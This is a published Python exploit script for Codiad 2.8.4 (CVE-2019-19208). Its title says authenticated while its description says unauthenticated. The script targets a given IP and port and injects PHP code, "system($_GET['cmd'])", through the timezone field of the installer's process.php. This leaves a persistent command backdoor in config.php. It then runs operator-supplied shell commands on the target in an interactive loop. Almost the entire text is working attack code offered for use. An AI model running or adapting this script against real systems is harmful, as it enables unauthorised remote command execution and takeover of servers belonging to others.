Codiad 2.8.4 – Remote Code Execution (Authenticated) (2)
# Exploit Title: Codiad 2.8.4 - Remote Code Execution (Authenticated) (2) # Date: 21.05.2021 # Exploit Author: Ron Jost (Hacker5preme) # Credits to: https://herolab.usd.de/security-advisories/usd-2019-0049/ (Tobias Neitzel) # Vendor Homepage: http://codiad.com/ # Software Link: https://github.com/Codiad/Codiad/releases/tag/v.2.8.4 # Version: 2.8.4 # Tested on: Xubuntu 20.04 and Cent OS 8.3 # CVE: CVE-2019-19208 ''' Description: An unauthenticated attacker can inject PHP code before the initial configuration that gets executed and therefore he can run arbitrary system commands on the server. ''' ''' Import required modules: ''' import requests import json import sys import time ''' User-Input: ''' target_ip = sys.argv[1] target_port = sys.argv[2] ''' Determining target: --> The installationpaths to select from are derived from the installation instructions from: https://github.com/Codiad/Codiad/wiki/Installation ''' print('Enter one of the following numbers to proceed') print('[1]: OS of the target: Higher than Ubuntu 13.04; path: /var/www/html/') print('[2]: OS of the target: Ubuntu 13.04 or below; path: /var/www/') print('[3]: OS of the target: CENT OS; path: /var/www/html/') selection = int(input('Your Choice: ')) if selection == 3 or selection == 1: path = "/var/www/html" content_len = "191" if selection == 2: path = '/var/www' content_len = '185' ''' Get cookie ''' session = requests.Session() link = 'http://' + target_ip + ':' + target_port + '/' response = session.get(link) cookies_session = session.cookies.get_dict() cookie = json.dumps(cookies_session) cookie = cookie.replace('"}','') cookie = cookie.replace('{"', '') cookie = cookie.replace('"', '') cookie = cookie.replace(" ", '') cookie = cookie.replace(":", '=') ''' Construct header: ''' header = { 'Host': target_ip, 'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.', 'Accept': '*/*', 'Accept-Language': 'de,en-US;q=0.7,en;q=0.3', 'Accept-Encoding': 'gzip, deflate', 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', 'X-Requested-With': 'XMLHttpRequest', 'Content-Length': content_len, 'Origin': 'htttp://' + target_ip, 'Connection': 'close', 'Referer': 'http://' + target_ip + '/', 'Cookie': cookie, } ''' Construct body: ''' string = """'"); system($_GET["cmd"]); print("'""" body = { 'path': path, 'username': 'test', 'password': 'exploit', 'password_confirm': 'exploit', 'project_name': 'hello', 'project_path': path + '/data', 'timezone': str(string) } ''' Post the request with the malaicious payload ''' print('Posting request with malicious payload') link = link + '/components/install/process.php' x = requests.post(link, headers=header, data=body) print('Waiting 10 seconds') time.sleep(10) ''' Create payload / persistend command execution: ''' header = { 'Host': target_ip, 'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language': 'de,en-US;q=0.7,en;q=0.3', 'Accept-Encoding': 'gzip, deflate', 'Connection': 'close', 'Cookie': cookie, 'Upgrade-Insecure-Requests': '1', 'Cache-Control': 'mag-age=0' } payload = input('Input the command, which should be executed on the targeted machine. To abort enter EXIT: ') while payload != 'EXIT': link_payload = 'http://' + target_ip + ':' + target_port + '/config.php?cmd=' + payload x = requests.get(link_payload, headers=header) print(x.text) payload = input('Input the command, which should be executed on the targeted machine. To abort enter EXIT: ') |